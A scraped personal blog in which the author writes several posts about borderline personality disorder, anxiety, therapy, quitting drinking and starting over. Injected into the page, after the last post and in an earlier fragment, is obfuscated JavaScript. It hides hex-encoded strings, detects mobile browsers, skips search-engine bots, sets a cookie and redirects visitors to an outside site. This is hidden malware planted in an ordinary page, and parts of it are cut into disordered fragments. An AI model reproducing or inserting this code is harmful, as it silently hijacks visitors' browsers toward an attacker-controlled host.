Emotions = Abundance of Writing

Hey everyone, I hope you’re all doing great and you’re staying strong. As for me, things are complicated, but ain’t they always? 🙂

Anyway, I’ve been channelling my emotional insecurity and lust and all that other aweseome stuff into some writing. I’ve decided to share it with you. I hope you like it.

Feel free the give me some feedback, I’d love to be able to refine it and make it better. Continue reading

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Distractions aka You can’t hide forever

As those who have been reading my blogs as of late can attest, I have been going through a bit lately especially in regards to emotional instability. I haven’t been like this in what feels like ages. Maybe this is what I get for not taking my meds for a few days.

Anyway, I’ve been devoting a lot of my time to trying to find ways to think about something else.. hell anything else really. I’ve discovered some awesome new bloggers on WordPress, and also been channeling all of the anxiety and tension and god awful neediness into writing more and more. In fact, I haven’t written this much in ages. So I have that to be thankful for at least.

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BPD and those pesky emotions.

bfmh14-copy2Hey guys,

I know it’s been a long time between posts but to be honest I’ve been working on much more important things like getting my shit together. Now I find myself in a familiar situation and I’m compelled to write about it. But first I’d llike to educate some of you as to what BPD actually is. Buckle up folks, this one is a long one. Continue reading

Scars – A Beginning

Hey guys,

I’ve been writing some memoirs for my Non Fiction classes, and I’ve been delving into my childhood with some detail. It really got me emotional and got me thinking about the power of scars. And how they always stick with you. I’ve written a lot over the years about all this.

Now I’m going to go into some very personal things here, so if you don’t want to know then close this thing right now. I completely understand if you do. There will be no offence taken, trust me.

I have no idea how much I’m going to write, so it could be a long one. You have been warned.

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Letting go aka the Adventure is only beginning

I’ve been clinging so tightly to an idea. A dream left unfulfilled, but I’ve come to realize that dreams are there for the taking and I can do anything if I believe in myself, even when no one else does.

I feel that anything worth having is worth all the struggles, hard work and pain. It takes self belief and perseverance, and sheer determination.

I’ve been chasing acceptance from people, but instead I’m going to chase my dreams, not to make others approve, but for myself. I could never look myself in the mirror if I did anything less. Only I can make my life what I want it to be, and when I can do that, then everything else I’ve ever wanted (love, security, property) will fall into place after that.

My time at uni has helped to open my eyes in regards to how much time I’ve wasted. In waiting for good things, waiting for my dream love, waiting for anything different. But only I can make things happen. Only I can find happiness that works for me on my terms, instead of trying to prove myself worthy for someone else.

My adventures have proven that nothing is more valuable than self respect. I believe I am capable of great things, and am capable of finding an amazing connection even if it isn’t with the person I wanted to have that with. I’ve missed out on so much in just waiting for things to get better.

But I’m determined to make amends. Sure it will be difficult, but my happiness is worth the risk. I’d rather try and fail than to never risk it all for a chance at the kind of life I’ve always wanted. At the end of the day, if you’re unwilling to try then it’s only your fault that things are never any different.

I’ve accepted that I am who I am. And I really like who I am, especially since I’ve accepted the past and I’ve decided to move past it. The past is an important part of who I am, but I am not ruled by the mistakes of the past. Only I can make things better. You simply gotta believe.

And anything is possible when you have hope, faith in yourself and the path you’ve set in front of you and you know who you are, and what you want. Nothing else matters.

I don’t care too much for approval, in fact I’ve had people telling me I can’t do things my whole life. But no more. Others may find comfort in settling for a life that doesn’t really mean a damn for them, or living a lavish lifestyle to make up for something lacking.

I am me. I am strong, determined and willing to risk it all for the chance for something more meaningful than simple wealth or materialist ideals. And if you doubt me, nothing will give me more joy that to prove you all wrong. And if it all falls flat on my face, you can say I told you so. But at least I’ll have comfort in knowing that I tried my hardest, and was willing to take a chance in backing myself and what I know I can accomplish.

That’s something to be proud of right?

The old me would have never had the guts to do such a thing. So if anything, the journey I’ve made within myself is already worth it. I would never go back to the dark days, depression and sadness are so horrible to have to live with. What’s life without hope? It’s not worth living if you ask me.

I am looking forward to seeing where the next fork in the road take me. And with any luck, I’ll see you there.

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The First Step…

Hey all…

Well where do I begin? I’ve been making some definite progress in overcoming my anxiety. It’s all baby steps really, but I’m reaching out more to people, and while it’s not necessarily successful it’s a start. Sometimes when it comes to connecting with another human being, the have to be willing to meet you half way. And sometimes, people don’t even know you’re there. But it happens. And if they don’t notice, then they’re probably not worth your time. But I find strength in that I’m actually making the effort. I just wish sometimes other people could say the same. Sometimes it’s like bashing my head against a brick wall. Sometimes I just feel like I’m bothering people. But I’ll keep trying. It’s all I can do. I might not pay off, but the effort is encouraging. I’m not hiding away, and I’m not going anywhere. In this I am determined.

I’ve been looking into a serious move away from Melbourne, at the moment I’m looking at study in Bendigo. I’ve sent in applications and hopefully once it’s approved I can find some accommodation. I just want/need to start over somewhere new. I’ll never make a go of anything if I keep doing things as I am. I need to get away from all the people, all the temptations that are prevalent here in Melbourne. I always feel so much more at ease in the country. All I want is to settle down in my own quiet part of the world, to write and create in an entirely different environment. I know it will do wonders for me.

And I’m not going anywhere near my parents. It’s far too much to handle. The breakup is still kinda difficult to handle, but I want them both to be happy. I love my mum and dad with all my heart, and through therapy, I’ve learned to forgive them. Things will never be perfect, but I’m approaching it with a positive attitude.

So like always with me, it’s time to do something drastic. I’m going to seriously quit smoking and I’m trying to stop my need to escape/self medicate with alcohol. I don’t over do it, but I’m worried I’ll end up like my father. That in itself is great motivation. As much as I love to drink, it tends to take my mind to those dark places inside myself. Those places kinda scare me. Because all it takes is the stars to align in a negative way, and anything is possible. It that fact scares me the most.

No more unhealthy relationships. Both romantically and plutonically… Embrace those whom I love and remind them of that fact every chance I get. It is those people who bring me back for the edge. You are the light that fights off the darkness. I know who my “real” friends are. And don’t take offense if I decide to not be friends anymore. It’s not about you. It’s about me and what I get from our relationship. I’m embracing the real me. The emotional, creative, sensitive, erratic and empathic me. I feel… and I’m not going to hide from it anymore. And if you don’t like who I am, that’s your problem. Some people miss the old me. But I don’t. I was never happy. Not deep down inside. No matter how much I drank, or drugs i did, or girls I slept with. I was always battling that emptiness I feel inside. I was hiding from who I am, and for far too long. I’m not a bad person. Hell I’ve done some terrible things in the past. But it’s what i decide to do now is what defines me. I’m acting for what I feel is best for me, and only me.

There was a quote from the season finale of Dexter that really struck a chord with me.

“They make it look easy. Connecting with another human being. It’s like no one told them it’s the hardest thing in the world.”

At times, I almost fell an affinity with the character. Cos I too feel different from everyone else. In fact, I know I’m different. I used to look at other people and how they interact with a form of envy, but in reality I can’t really imagine what it feels like to have a real, intimate connection with another person. I have a few friends with whom I share myself with to an extent, but there is always some sort of barrier. Something that holds me back. And I guess I’d like to know what that’s like. To lay all my anxieties bare and expose my soul to someone else. To be seen for who I really am, free of masks and walls. Free to just be me. No defensive mechanisms,  no more hiding.

But I’m reaching out, and in many ways I’m fighting my own nature. Which is to withdraw… To flee… To Hide. I can’t brighten anyone elses life or my own if I’m hiding where it’s safe. In the shadows.

Because I don’t expect you to understand how I feel. I wish you did, but I gave up on wishes a long time ago. Wishes are for children after all. And I don’t dare make any for myself.

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 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A Natural Progression

Hey all,

Well this post should be fairly short n sweet. Seeing a psychologist has really been helping dealing with my anxiety and abandonment issues. It’s nice to just be able to talk about it. Because honestly I enjoy listening with those I care about, and at least this way I can just blab on about how I’m feeling. I don’t have to worry about upsetting anyone, being too forward or whatever else. I just just talk about it. Which is nice.

I’ve been making some progress, not enough for my liking, but progress is better than not trying. And I’m glad I’ve been getting the help I need. Because I cannot do it alone.

Somedays are miserable but I’m keeping myself distracted. But I’m seeing a light whereas I could only see darkness before. The emptiness and loneliness is still there. Just not so overwhelming as it was before. I’m not out of the woods, but I’m getting there.

Other aspects of my life are still in a sort of limbo. I need to move, and I’m still to decide what’s best for me. I’m hoping for an interstate move, but I don’t think that’s likely. We shall see.

Until next time…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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